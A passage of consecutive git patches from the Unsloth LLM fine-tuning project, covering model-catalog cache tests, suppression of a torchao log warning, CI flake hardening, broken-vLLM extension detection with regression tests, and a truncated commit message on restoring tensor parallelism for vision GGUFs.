+    # Cache validity is keyed on the timestamp, not list contents, so an empty
+    # (fresh install / no local models) or errored scan is still cached for the
+    # TTL instead of rescanning the filesystem on every /v1/models poll.
+    import routes.models as models_mod
+    for outcome in ("empty", "error"):
+        calls = {"n": 0}
+
+        def _scan(_root, _outcome = outcome):
+            calls["n"] += 1
+            if _outcome == "error":
+                raise RuntimeError("scan blew up")
+            return []
+
+        monkeypatch.setattr(models_mod, "collect_local_models", _scan)
+        monkeypatch.setattr(inf, "_CATALOG_CACHE", {"at": 0.0, "models": []})
+
+        async def _run():
+            return [await inf._cached_local_catalog() for _ in range(3)]
+
+        results = asyncio.run(_run())
+        assert results == [[], [], []], outcome
+        assert calls["n"] == 1, f"{outcome} scan ran {calls['n']}x (TTL not honored)"
+
+
+def test_catalog_ttl_starts_after_scan_completes(monkeypatch):
+    # The cache timestamp must be taken AFTER the scan, not before it. A scan that
+    # outlives the TTL would otherwise leave the cache born-expired, so the next
+    # caller rescans instead of reusing the just-computed catalog.
+    import routes.models as models_mod
+
+    clock = {"t": 1000.0}
+    monkeypatch.setattr(inf.time, "monotonic", lambda: clock["t"])
+    monkeypatch.setattr(inf, "_CATALOG_CACHE", {"at": 0.0, "models": []})
+
+    calls = {"n": 0}
+
+    def _slow_scan(_root):
+        calls["n"] += 1
+        clock["t"] += inf._CATALOG_TTL_S + 10  # the scan itself outlives the TTL
+        return [_Info("/m/A.gguf", "A")]
+
+    monkeypatch.setattr(models_mod, "collect_local_models", _slow_scan)
+
+    async def _run():
+        first = await inf._cached_local_catalog()
+        second = await inf._cached_local_catalog()  # clock unchanged since scan end
+        return first, second
+
+    first, second = asyncio.run(_run())
+    assert [i.id for i in first] == ["/m/A.gguf"]
+    assert calls["n"] == 1, "TTL started before the scan -> cache born expired, rescanned"
+
+
+def test_retrieve_loaded_model_skips_catalog_scan(monkeypatch):
+    # Retrieving a loaded id must resolve from the loaded set alone, never paying
+    # for the filesystem scan that _cached_local_catalog drives.
+    monkeypatch.setattr(inf, "get_llama_cpp_backend", lambda: _FakeLlama())
+    monkeypatch.setattr(inf, "get_inference_backend", lambda: _FakeUnsloth())
+
+    async def _boom():
+        raise AssertionError("catalog scan must not run for a loaded id")
+
+    monkeypatch.setattr(inf, "_cached_local_catalog", _boom)
+
+    model = asyncio.run(inf.openai_retrieve_model("Qwen3-Q4", current_subject = "t"))
+    assert model["id"] == "Qwen3-Q4"
+    assert model["loaded"] is True
+
+
+def test_cached_local_catalog_offloads_and_caches(monkeypatch):
+    # The filesystem scan must run off the event loop (asyncio.to_thread) and be
+    # cached, so a burst of /v1/models calls does not re-scan or block.
+    calls = {"scan": 0, "threaded": 0}
+
+    def _fake_collect(_root):
+        calls["scan"] += 1
+        return [_Info("/data/models/A.gguf", "A")]
+
+    import routes.models as models_mod
+
+    monkeypatch.setattr(models_mod, "collect_local_models", _fake_collect)
+
+    real_to_thread = inf.asyncio.to_thread
+
+    async def _counting_to_thread(fn, *a, **k):
+        calls["threaded"] += 1
+        return await real_to_thread(fn, *a, **k)
+
+    monkeypatch.setattr(inf.asyncio, "to_thread", _counting_to_thread)
+    # Fresh cache for a deterministic count.
+    monkeypatch.setattr(inf, "_CATALOG_CACHE", {"at": 0.0, "models": []})
+
+    async def _run():
+        first = await inf._cached_local_catalog()
+        second = await inf._cached_local_catalog()  # within TTL -> cached
+        return first, second
+
+    first, second = asyncio.run(_run())
+    assert [i.id for i in first] == ["/data/models/A.gguf"]
+    assert second is first or [i.id for i in second] == [i.id for i in first]
+    assert calls["scan"] == 1  # cached: scanned once for two calls
+    assert calls["threaded"] == 1  # offloaded to a worker thread

From 101de1927a60c2a40446ffb47648b092a8a64005 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Fri, 26 Jun 2026 19:45:32 -0700
Subject: [PATCH 129/306] Silence torchao _C*.so load-failure WARNING on torch
 >= 2.11 (#6712)

On torch >= 2.11 torchao tries to dlopen each prebuilt _C*.so and logs a
per-file "Failed to load .../_C*.so" WARNING via the torchao logger when one
cannot load. This happens on an ABI tag mismatch in the prebuilt wheel (for
example a cp310 .so under a cp312 runtime, as on Colab) or when the kernel
targets an arch the GPU does not have (mxfp8 needs FP8 hardware, _C_cutlass_90a
is Hopper/SM90 only). torchao falls back to its non-cpp paths and Unsloth's
bnb-4bit / Triton kernels do not use these, so the warning is cosmetic.

Add a HideLoggingMessage filter on the same torchao logger that already filters
the torch < 2.11 "Skipping import of cpp extensions" message, so only these
records are dropped rather than raising the whole logger to ERROR.
---
 unsloth/import_fixes.py | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/unsloth/import_fixes.py b/unsloth/import_fixes.py
index 5afd6f4b37..bff55b4e7b 100644
--- a/unsloth/import_fixes.py
+++ b/unsloth/import_fixes.py
@@ -158,6 +158,11 @@ if not UNSLOTH_ENABLE_LOGGING:
     logging.getLogger("torchao").addFilter(
         HideLoggingMessage("Skipping import of cpp extensions due to incompatible torch version")
     )
+    # torch >= 2.11 path: torchao dlopens each prebuilt _C*.so and logs "Failed to load
+    # .../_C*.so" when one can't (ABI tag mismatch in the wheel, e.g. a cp310 .so under a
+    # cp312 runtime on Colab, or an arch-specific kernel the GPU lacks). It falls back to
+    # non-cpp paths and Unsloth doesn't use these kernels, so drop the cosmetic record.
+    logging.getLogger("torchao").addFilter(HideLoggingMessage("Failed to load "))
     # SyntaxWarning: invalid escape sequence '\.'
     warnings.filterwarnings("ignore", message = "invalid escape sequence", category = SyntaxWarning)
     # PYTORCH_CUDA_ALLOC_CONF is deprecated warning from torch

From 1fcd69e662f233896e075fc03472f45ac60e8819 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Fri, 26 Jun 2026 19:45:46 -0700
Subject: [PATCH 130/306] Harden flaky Studio CI: retry VS-hide rename and
 tolerate same-URL nav interrupt (#6713)

Two intermittent Studio CI failures, both runner-environment flakes unrelated
to test logic:

Windows 'Studio install + inference without Visual Studio': the 'Hide Visual
Studio + CMake' step renames C:\Program Files\Microsoft Visual Studio to
simulate a host with no build tools. A background handle on a Program Files
directory (Defender scan or an MSBuild node) makes Rename-Item intermittently
fail with 'Access is denied', and $ErrorActionPreference = Stop turns that into
a hard job failure. Wrap the VS and cmake renames in both Hide steps in a short
Rename-WithRetry (6 tries, 3s apart) to ride out the transient lock.

macOS 'Chat UI Tests': the re-login goto to /login can be interrupted by the
SPA auth guard redirecting to the same /login URL, which Playwright reports as
'Navigation to .../login is interrupted by another navigation to .../login'.
The goto already tolerated ERR_ABORTED; broaden it to also tolerate the same-URL
interrupt (the password-field wait right after confirms we landed on /login),
and add the same signature to the two Playwright flake-retry harnesses as a
safety net for any other navigation.

Validated: playwright_chat_ui.py parses + byte-compiles, both workflow YAMLs
parse, bash -n on the retry harnesses, PowerShell AST parse on all pwsh steps,
and a functional check of Rename-WithRetry (succeeds, and rethrows after
exhausting retries).
---
 .github/workflows/studio-mac-ui-smoke.yml     | 29 ++++++++++---------
 .../studio-windows-inference-smoke.yml        | 22 ++++++++++++--
 tests/studio/playwright_chat_ui.py            | 12 ++++----
 3 files changed, 42 insertions(+), 21 deletions(-)

diff --git a/.github/workflows/studio-mac-ui-smoke.yml b/.github/workflows/studio-mac-ui-smoke.yml
index 512af54d53..20ca247b9f 100644
--- a/.github/workflows/studio-mac-ui-smoke.yml
+++ b/.github/workflows/studio-mac-ui-smoke.yml
@@ -185,13 +185,14 @@ jobs:
         # Retry up to 3 times to absorb known macos-14 free-runner
         # flakes: (1) Playwright Node 24 pipeTransport.js 'Unexpected
         # end of JSON input' crash when the Chromium browser process
-        # dies mid-test, and (2) Chromium net::ERR_NO_BUFFER_SPACE
-        # when the runner's kernel briefly runs out of socket buffers.
-        # The retry FULLY resets Studio (kill, reset-password, reboot,
-        # wait /api/health, re-export bootstrap pw) before re-running
-        # the script. A real test failure (assertion / timeout) does
-        # NOT match either pattern so it bypasses retry and surfaces
-        # immediately.
+        # dies mid-test, (2) Chromium net::ERR_NO_BUFFER_SPACE when the
+        # runner's kernel briefly runs out of socket buffers, and (3) a
+        # goto 'interrupted by another navigation' when the SPA auth
+        # guard redirects mid-navigation. The retry FULLY resets Studio
+        # (kill, reset-password, reboot, wait /api/health, re-export
+        # bootstrap pw) before re-running the script. A real test failure
+        # (assertion / timeout) does NOT match any pattern so it bypasses
+        # retry and surfaces immediately.
         run: |
           mkdir -p logs/playwright
           attempt=1
@@ -204,8 +205,9 @@ jobs:
             if [ "$rc" -eq 0 ]; then
               break
             fi
-            if { grep -q "Unexpected end of JSON input" logs/playwright_attempt_${attempt}.log \
-                 || grep -q "ERR_NO_BUFFER_SPACE"        logs/playwright_attempt_${attempt}.log; } \
+            if { grep -q "Unexpected end of JSON input"       logs/playwright_attempt_${attempt}.log \
+                 || grep -q "ERR_NO_BUFFER_SPACE"             logs/playwright_attempt_${attempt}.log \
+                 || grep -q "interrupted by another navigation" logs/playwright_attempt_${attempt}.log; } \
                && [ "$attempt" -lt "$max_attempts" ]; then
               echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..."
               kill "${STUDIO_PID}" 2>/dev/null || true
@@ -280,8 +282,8 @@ jobs:
           STUDIO_UI_TURN_TIMEOUT_MS: '540000'
           GGUF_REPO: ${{ env.GGUF_REPO }}
           GGUF_VARIANT: ${{ env.GGUF_VARIANT }}
-        # Same flake-retry shape as "Drive the chat UI with Playwright"
-        # -- catches pipeTransport JSON crash and ERR_NO_BUFFER_SPACE.
+        # Same flake-retry shape as "Drive the chat UI with Playwright" -- catches
+        # pipeTransport JSON crash, ERR_NO_BUFFER_SPACE, and nav interrupts.
         run: |
           mkdir -p logs/playwright_extra
           attempt=1
@@ -294,8 +296,9 @@ jobs:
             if [ "$rc" -eq 0 ]; then
               break
             fi
-            if { grep -q "Unexpected end of JSON input" logs/playwright_extra_attempt_${attempt}.log \
-                 || grep -q "ERR_NO_BUFFER_SPACE"        logs/playwright_extra_attempt_${attempt}.log; } \
+            if { grep -q "Unexpected end of JSON input"       logs/playwright_extra_attempt_${attempt}.log \
+                 || grep -q "ERR_NO_BUFFER_SPACE"             logs/playwright_extra_attempt_${attempt}.log \
+                 || grep -q "interrupted by another navigation" logs/playwright_extra_attempt_${attempt}.log; } \
                && [ "$attempt" -lt "$max_attempts" ]; then
               echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..."
               kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true
diff --git a/.github/workflows/studio-windows-inference-smoke.yml b/.github/workflows/studio-windows-inference-smoke.yml
index c44c68278d..08a0ee782d 100644
--- a/.github/workflows/studio-windows-inference-smoke.yml
+++ b/.github/workflows/studio-windows-inference-smoke.yml
@@ -1338,11 +1338,19 @@ jobs:
         shell: pwsh
         run: |
           $ErrorActionPreference = 'Stop'
+          # A Program Files dir can hold a transient handle (Defender / MSBuild node)
+          # so Rename-Item intermittently fails with "Access is denied"; retry to ride it out.
+          function Rename-WithRetry($Path, $NewName) {
+            for ($i = 1; $i -le 6; $i++) {
+              try { Rename-Item -LiteralPath $Path -NewName $NewName -ErrorAction Stop; return }
+              catch { if ($i -eq 6) { throw }; Start-Sleep -Seconds 3 }
+            }
+          }
           # Rename the Visual Studio install roots (incl. the Installer that holds
           # vswhere.exe) so Find-VsBuildTools' vswhere + filesystem scan both miss.
           foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
             if (Test-Path -LiteralPath $d) {
-              Rename-Item -LiteralPath $d -NewName ((Split-Path $d -Leaf) + '.vsoff')
+              Rename-WithRetry $d ((Split-Path $d -Leaf) + '.vsoff')
               Write-Host "Hid VS: $d"
             }
           }
@@ -1351,7 +1359,7 @@ jobs:
           $hidden = @()
           foreach ($c in (Get-Command cmake -All -ErrorAction SilentlyContinue)) {
             if ($c.Source -and (Test-Path -LiteralPath $c.Source)) {
-              Rename-Item -LiteralPath $c.Source -NewName ((Split-Path $c.Source -Leaf) + '.off')
+              Rename-WithRetry $c.Source ((Split-Path $c.Source -Leaf) + '.off')
               $hidden += $c.Source
               Write-Host "Hid cmake: $($c.Source)"
             }
@@ -1536,8 +1544,16 @@ jobs:
         shell: pwsh
         run: |
           $ErrorActionPreference = 'Stop'
+          # Retry the rename: a Program Files dir can hold a transient handle that
+          # makes Rename-Item intermittently fail with "Access is denied".
+          function Rename-WithRetry($Path, $NewName) {
+            for ($i = 1; $i -le 6; $i++) {
+              try { Rename-Item -LiteralPath $Path -NewName $NewName -ErrorAction Stop; return }
+              catch { if ($i -eq 6) { throw }; Start-Sleep -Seconds 3 }
+            }
+          }
           foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
-            if (Test-Path -LiteralPath $d) { Rename-Item -LiteralPath $d -NewName ((Split-Path $d -Leaf) + '.vsoff'); Write-Host "Hid VS: $d" }
+            if (Test-Path -LiteralPath $d) { Rename-WithRetry $d ((Split-Path $d -Leaf) + '.vsoff'); Write-Host "Hid VS: $d" }
           }
 
       - name: Windows CUDA and ROCm prebuilts exist in unslothai/llama.cpp (what GPU users download, no VS)
diff --git a/tests/studio/playwright_chat_ui.py b/tests/studio/playwright_chat_ui.py
index a892d3414d..a53534acc0 100644
--- a/tests/studio/playwright_chat_ui.py
+++ b/tests/studio/playwright_chat_ui.py
@@ -1225,15 +1225,17 @@ with sync_playwright() as p:
     # ─────────────────────────────────────────────────────
     step("Shutdown via account menu")
     # Re-login with NEW2 for a valid /api/shutdown token (CLI rotation
-    # invalidated the old one). The stale token can make the SPA auth
-    # guard abort this goto with ERR_ABORTED; resolve on
-    # domcontentloaded and tolerate it -- the pw-field wait confirms /login.
+    # invalidated the old one). The stale token can make the SPA auth guard
+    # abort this goto with ERR_ABORTED, or redirect to the same /login URL
+    # ("interrupted by another navigation"); resolve on domcontentloaded and
+    # tolerate either -- the pw-field wait below confirms we are on /login.
+    _tolerated_nav = ("ERR_ABORTED", "interrupted by another navigation")
     try:
         page.goto(f"{BASE}/login", wait_until = "domcontentloaded", timeout = 60_000)
     except Exception as exc:
-        if "ERR_ABORTED" not in str(exc):
+        if not any(t in str(exc) for t in _tolerated_nav):
             raise
-        info(f"goto /login aborted ({exc!r}); password-field wait will confirm /login")
+        info(f"goto /login interrupted ({exc!r}); password-field wait will confirm /login")
     pw_field = page.locator("#password")
     pw_field.wait_for(state = "visible", timeout = 60_000)
     pw_field.fill(NEW2)

From c8bcacc3fea27e97bea0ea09c9ad7554c729724f Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Sat, 27 Jun 2026 02:43:36 -0300
Subject: [PATCH 131/306] Fix fast_inference crash on ABI-broken vLLM: probe
 compiled extensions, not just import vllm (#6621)

* Fix fast_inference crash on ABI-broken vLLM: force-load compiled extensions in the broken-vLLM probe

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Broaden broken-vLLM probe: catch non-libcudart .so failures and _moe_C_stable_libtorch

* Revert stray reformat of the PDL fix log line

* Trim verbose comments in the broken-vLLM probe

* Drop non-existent vllm._moe_C_stable_libtorch from the broken-vLLM probe

* Shorten comments in broken vLLM extension detection

Condense the docstrings and inline comments for the lazy-loaded vLLM probe
and the new regression test while keeping the rationale. Comments only, no
code changes (verified with an AST signature check and the existing tests).

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 tests/test_vllm_broken_detection.py | 166 ++++++++++++++++++++++++++++
 unsloth/_gpu_init.py                |  19 ++--
 unsloth/import_fixes.py             |  27 ++++-
 3 files changed, 197 insertions(+), 15 deletions(-)
 create mode 100644 tests/test_vllm_broken_detection.py

diff --git a/tests/test_vllm_broken_detection.py b/tests/test_vllm_broken_detection.py
new file mode 100644
index 0000000000..ee89ddbedf
--- /dev/null
+++ b/tests/test_vllm_broken_detection.py
@@ -0,0 +1,166 @@
+# Unsloth - 2x faster, 60% less VRAM LLM training and finetuning
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Lesser General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Lesser General Public License for more details.
+
+"""Regression test for #6590: modern vLLM lazy-loads its compiled extensions, so
+a bare ``import vllm`` succeeds even when ``vllm._C`` (or a sibling) is ABI-broken
+and ``disable_broken_vllm`` missed it. GPU-free, via a synthetic vLLM."""
+
+from __future__ import annotations
+
+import contextlib
+import importlib.abc
+import importlib.machinery
+import importlib.util
+import sys
+import types
+
+import pytest
+
+
+_LIBCUDART_ERROR = "libcudart.so.13: cannot open shared object file: No such file or directory"
+
+
+class _ExtensionLoader(importlib.abc.Loader):
+    """A compiled extension that loads cleanly or fails on dlopen."""
+
+    def __init__(self, broken, error):
+        self.broken = broken
+        self.error = error
+
+    def create_module(self, spec):
+        return None
+
+    def exec_module(self, module):
+        if self.broken:
+            raise ImportError(self.error)
+
+
+class _FakeVllmFinder(importlib.abc.MetaPathFinder):
+    """Lazy vLLM: ``import vllm`` succeeds; each ``vllm._*`` ext is healthy,
+    ABI-broken, or absent, as real vLLM only loads ``_C`` & friends on use."""
+
+    def __init__(self, present, broken, error):
+        self.present = present
+        self.broken = broken
+        self.error = error
+
+    def find_spec(
+        self,
+        fullname,
+        path = None,
+        target = None,
+    ):
+        if fullname in self.present:
+            return importlib.machinery.ModuleSpec(
+                name = fullname,
+                loader = _ExtensionLoader(broken = fullname in self.broken, error = self.error),
+                is_package = False,
+            )
+        return None  # absent -> ModuleNotFoundError, which the guard ignores
+
+
+@contextlib.contextmanager
+def _fake_vllm(
+    present,
+    broken,
+    error = _LIBCUDART_ERROR,
+):
+    """Install a synthetic lazy vLLM, restoring VLLM_BROKEN, find_spec,
+    meta_path, and the vllm* sys.modules entries on exit."""
+    from unsloth import import_fixes
+
+    submodules = import_fixes._VLLM_COMPILED_EXTENSIONS
+    saved_meta_path = list(sys.meta_path)
+    saved_find_spec = importlib.util.find_spec
+    saved_broken = import_fixes.VLLM_BROKEN
+    saved_modules = {n: sys.modules.get(n) for n in ("vllm", *submodules)}
+    try:
+        import_fixes.VLLM_BROKEN = False
+        fake_vllm = types.ModuleType("vllm")
+        fake_vllm.__path__ = []
+        fake_vllm.__spec__ = importlib.machinery.ModuleSpec("vllm", loader = None, is_package = True)
+        sys.modules["vllm"] = fake_vllm
+        for name in submodules:
+            sys.modules.pop(name, None)
+        sys.meta_path.insert(0, _FakeVllmFinder(present, broken, error))
+        yield import_fixes
+    finally:
+        import_fixes.VLLM_BROKEN = saved_broken
+        sys.meta_path[:] = saved_meta_path
+        importlib.util.find_spec = saved_find_spec
+        for name, module in saved_modules.items():
+            if module is None:
+                sys.modules.pop(name, None)
+            else:
+                sys.modules[name] = module
+
+
+@pytest.mark.parametrize(
+    "broken_ext",
+    ["vllm._C", "vllm._C_stable_libtorch"],
+    ids = ["core_C", "sibling_C_stable_libtorch"],
+)
+def test_disable_broken_vllm_detects_lazy_loaded_broken_extension(broken_ext):
+    # A CUDA-major mismatch breaks every ext; whichever one loads first must trip detection.
+    present = {"vllm._C", "vllm._C_stable_libtorch"}
+    with _fake_vllm(present = present, broken = {broken_ext}) as import_fixes:
+        detected = import_fixes.disable_broken_vllm()
+
+        assert detected is True, (
+            f"disable_broken_vllm missed an ABI-broken {broken_ext} behind a "
+            "lazily-importable vllm package — issue #6590 would resurface."
+        )
+        assert import_fixes.VLLM_BROKEN is True
+        # Once disabled, vLLM must look absent so callers fall back cleanly.
+        assert importlib.util.find_spec("vllm") is None
+
+
+@pytest.mark.parametrize(
+    "error",
+    [
+        "libnccl.so.2: cannot open shared object file: No such file or directory",
+        "libcuda.so.1: cannot open shared object file: No such file or directory",
+    ],
+    ids = ["libnccl", "libcuda"],
+)
+def test_disable_broken_vllm_detects_non_cudart_so_failure(error):
+    # A CUDA mismatch can surface through a non-libcudart .so (libnccl, libcuda),
+    # which the old libcudart/libcublas/libnvrtc allow-list let slip through.
+    with _fake_vllm(present = {"vllm._C"}, broken = {"vllm._C"}, error = error) as import_fixes:
+        detected = import_fixes.disable_broken_vllm()
+
+        assert detected is True, (
+            f"disable_broken_vllm missed a present-but-broken vllm._C raising "
+            f"{error!r} — vLLM would be left enabled and crash later."
+        )
+        assert import_fixes.VLLM_BROKEN is True
+
+
+@pytest.mark.parametrize(
+    "present",
+    [{"vllm._C"}, {"vllm._C", "vllm._C_stable_libtorch", "vllm._moe_C"}],
+    ids = ["core_only", "all_present"],
+)
+def test_disable_broken_vllm_keeps_healthy_vllm_enabled(present):
+    # Healthy install: an absent sibling (ModuleNotFoundError) or an extra present
+    # ext that loads cleanly must NOT be mistaken for an ABI break.
+    with _fake_vllm(present = present, broken = set()) as import_fixes:
+        detected = import_fixes.disable_broken_vllm()
+
+        assert detected is False
+        assert import_fixes.VLLM_BROKEN is False
+        assert importlib.util.find_spec("vllm") is not None
+
+
+if __name__ == "__main__":
+    raise SystemExit(pytest.main([__file__, "-v"]))
diff --git a/unsloth/_gpu_init.py b/unsloth/_gpu_init.py
index 917717e08e..7f080336aa 100644
--- a/unsloth/_gpu_init.py
+++ b/unsloth/_gpu_init.py
@@ -36,16 +36,15 @@ from .import_fixes import (
     fix_huggingface_hub,
 )
 
-# Redirect a read-only Hugging Face cache before anything below can import
-# huggingface_hub / transformers / vllm (disable_broken_vllm probes
-# `import vllm`, check_fbgemm_gpu_version imports transformers, and
-# fix_huggingface_hub imports huggingface_hub itself), all of which can
-# freeze Hub's cache constants with the un-redirected paths. unsloth_zoo
-# runs the same redirect at import, but that happens after these probes.
-# hf_cache.py is stdlib-only, so load it straight from its file without
-# triggering the full unsloth_zoo package init this early; the zoo's own
-# call later is an idempotent no-op. Older unsloth_zoo without hf_cache.py
-# is skipped silently.
+# Redirect a read-only Hugging Face cache before anything below imports
+# huggingface_hub / transformers / vllm (disable_broken_vllm probes `import vllm`
+# and its compiled extensions, check_fbgemm_gpu_version imports transformers,
+# fix_huggingface_hub imports huggingface_hub) -- any of which would freeze Hub's
+# cache constants with the un-redirected paths. unsloth_zoo runs the same redirect
+# at import, but only after these probes. hf_cache.py is stdlib-only, so load it
+# straight from its file without triggering the full unsloth_zoo init this early;
+# the zoo's later call is an idempotent no-op. Older unsloth_zoo without it is
+# skipped silently.
 try:
     import importlib.util as _importlib_util
     from pathlib import Path as _Path
diff --git a/unsloth/import_fixes.py b/unsloth/import_fixes.py
index bff55b4e7b..d979e5f22f 100644
--- a/unsloth/import_fixes.py
+++ b/unsloth/import_fixes.py
@@ -2354,11 +2354,9 @@ def _is_broken_vllm_error(error) -> bool:
             )
         ) or ("vllm" in message and "undefined symbol" in message):
             return True
-        # Also catch CUDA shared library mismatches during vllm import
-        # e.g. "libcudart.so.12: cannot open shared object file"
-        if (
-            "libcudart" in message or "libcublas" in message or "libnvrtc" in message
-        ) and "cannot open shared object file" in message:
+        # Forced extension load raises the bare loader error (no "vllm._C"
+        # wrapper); match any .so failure as callers feed only vLLM imports.
+        if "cannot open shared object file" in message:
             return True
         current = getattr(current, "__cause__", None) or getattr(current, "__context__", None)
     return False
@@ -2550,6 +2548,16 @@ def _clear_vllm_modules():
             sys.modules.pop(module_name, None)
 
 
+# vLLM's compiled extensions. A CUDA-major ABI break hits all of them, so
+# probing the eagerly-loaded _C and its siblings reliably trips it.
+_VLLM_COMPILED_EXTENSIONS = (
+    "vllm._C",
+    "vllm._C_stable_libtorch",
+    "vllm._moe_C",
+    "vllm._rocm_C",
+)
+
+
 def disable_broken_vllm(error = None):
     """Disable vLLM dynamically when its shared library is ABI-broken."""
     global VLLM_BROKEN
@@ -2567,6 +2575,15 @@ def disable_broken_vllm(error = None):
 
         try:
             import vllm  # noqa: F401
+
+            # Lazy vLLM lets a bare `import vllm` succeed even when an extension
+            # is ABI-broken; force-load each to surface the .so failure here.
+            # A missing one raises ModuleNotFoundError (skipped below).
+            for _ext in _VLLM_COMPILED_EXTENSIONS:
+                try:
+                    importlib.import_module(_ext)
+                except ModuleNotFoundError:
+                    pass
             return False
         except Exception as import_error:
             failure = import_error

From 98a01e70cd8a4fac4be61b0bb50aac1b95dfc648 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Sat, 27 Jun 2026 01:52:18 -0700
Subject: [PATCH 132/306] Studio: restore tensor parallelism for vision/mmproj
 GGUFs (#6659)

* Studio: restore tensor parallelism for vision/mmproj GGUFs

#6416 disabled --split-mode tensor for any GGUF that ships an mmproj projector to
dodge a GGML_ASSERT crash (#6415) seen on an older llama.cpp build with consumer
Blackwell (sm_120). The blanket skip silently dropped tensor_parallel=true for
every multimodal/MTP GGUF (e.g. Qwen3.6-35B-A3B-MTP); on hardware where the model
fits on one GPU the load then collapsed to a single GPU. mmproj + --split-mode
tensor works on current builds (verified end to end on B200/sm_100), so the skip
was disabling a working configuration.

Make the vision skip self-healing per binary:
- attempt tensor for vision models by default
- skip upfront only on a binary already seen to abort on tensor + mmproj this
  session (_vision_tensor_split_aborts), recorded when such a launch crashes at
  startup (_record_vision_tensor_split_abort). Process scoped, so a studio update
  re-probes the new build. The route-level layer-split fallback stays the net.
- add _select_gpus(min_gpus=...) so a downgraded tensor request can keep multiple
  GPUs instead of collapsing to one (default 1, no behavior change).

Add tests/test_tp_vision_regression.py: an AST allowlist guard over the
tensor_parallel drop sites (which would have flagged #6416), plus cache and
_select_gpus coverage. No GPU required.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: address review on vision tensor-parallel self-healing

Three fixes from the PR review:

- Record a vision-tensor abort only after every startup retry fails. The first
  version cached the binary on the first spawn crash, which on every build
  (including capable ones) is the benign --fit step abort that the existing
  --fit off retry resolves. That poisoned the cache so the next vision load in
  the same process skipped tensor. Recording now happens at the post-retry
  failure block (after fit-off, flash-attn-off and MTP-drop), so a binary that
  actually works is never cached.

- Gate the record on the tensor/mmproj crash signature: a hard signal fault
  (_is_signal_crash) with no non-tensor cause (_output_has_nonprojector_diagnostic
  excludes OOM and unknown-arch), so an OOM, bad extra args, or MTP/flash-attn
  crash no longer marks an otherwise capable binary incompatible.

- Preserve the multi-GPU request on the cached downgrade. The vision gate now
  raises _layer_min_gpus to the visible GPU count and threads it through the
  layer-split GPU selection (_select_gpus min_gpus and the subset loops), so a
  downgraded tensor request still spreads across GPUs instead of collapsing to a
  single card the model happens to fit.

Verified two vision+tensor loads in one backend process both tensor-split across
4 GPUs (the benign fit abort no longer poisons the cache). Tests updated.

* Studio: harden vision tensor-parallel self-healing (review round 2)

Address the second review round on the vision/mmproj tensor-parallel fix:

- Preserve vision on the first load: a --split-mode tensor + --mmproj
  GGML_ASSERT now raises so the route-level tensor->layer fallback retries
  layer split with the projector intact, instead of stripping --mmproj and
  silently loading text-only (which returned success and skipped the fallback,
  losing vision on the first load until the next cached load).

- Symmetric multi-GPU preservation: the pooled-VRAM tensor downgrade now raises
  _layer_min_gpus from the usable tensor GPUs like the vision downgrade, so it
  no longer collapses a multi-GPU request to a single card.

- Base the layer fallback minimum on usable GPUs: _select_gpus caps min_gpus to
  the count of cards with usable VRAM, so a downgrade never forces a nearly-full
  card in (or trips --fit) just to hit the count.

- Re-probe after in-app updates: key the per-binary abort cache on (path, mtime)
  like _capability_cache, so POST /api/llama/update swapping the binary in place
  (no backend restart) re-probes the new build instead of inheriting the old
  build's abort.

- Bump _layer_min_gpus for a known-bad vision binary independent of the tensor
  drop, so the route fallback's layer retry (tensor already off) still spreads
  across GPUs.

Adds deterministic non-GPU regression tests for each.

* Studio: gate cached-vision layer minimum on the current tensor request

The cached-vision _layer_min_gpus bump fired for every later vision load on a
binary recorded as tensor+mmproj-incompatible, including loads that did not
request tensor parallelism. A plain non-tensor vision load that fits on one card
would then grab every GPU just because an earlier TP attempt aborted in the same
backend process.

Re-tie the bump to the current tensor request (back inside the tensor-drop
guard), so only a downgraded tensor request preserves the multi-GPU spread; a
non-tensor vision load minimizes device count as before.

* Studio: preserve GPU count + confirm assert on vision tensor fallback

Third review round on the vision/mmproj tensor-parallel fix:

- Preserve multi-GPU on the first tensor->layer fallback. The route-level retry
  runs tensor-off, so the in-function downgrades can't see the original tensor
  request and a fits-on-one-card model loaded the first successful fallback on a
  single GPU. The GGUF load closure now passes preserve_multi_gpu_on_layer (the
  toggle asked for tensor, this attempt is layer) and load_model raises
  _layer_min_gpus for it, so the downgrade still spreads across GPUs.

- Cap the auto-context layer loops to usable GPUs. They bypass _select_gpus, so a
  raised _layer_min_gpus could force a nearly-full card into the subset (or trip
  --fit). They now start from _auto_min_gpus, capped to the GPUs with usable VRAM.

- Confirm the tensor/mmproj assert before caching. Recording (and the layer-retry
  raise) now require the ggml assert marker via _is_tensor_split_assert, not the
  bare-signal predicate shared with the projector-incompat branch, so a corrupt
  or too-new projector that SIGSEGVs independent of split mode is no longer cached
  as tensor/mmproj-incompatible.

Adds deterministic non-GPU regression tests for each.

* Studio: extend multi-GPU fallback to extra/env tensor + overhead-aware cap

Fourth review round on the vision/mmproj tensor-parallel fix:

- Preserve multi-GPU fallback for all tensor requests, not just the UI toggle.
  Tensor can also be requested via --split-mode tensor in extra args or an
  inherited LLAMA_ARG_SPLIT_MODE=tensor env; the fallback retries those too, so
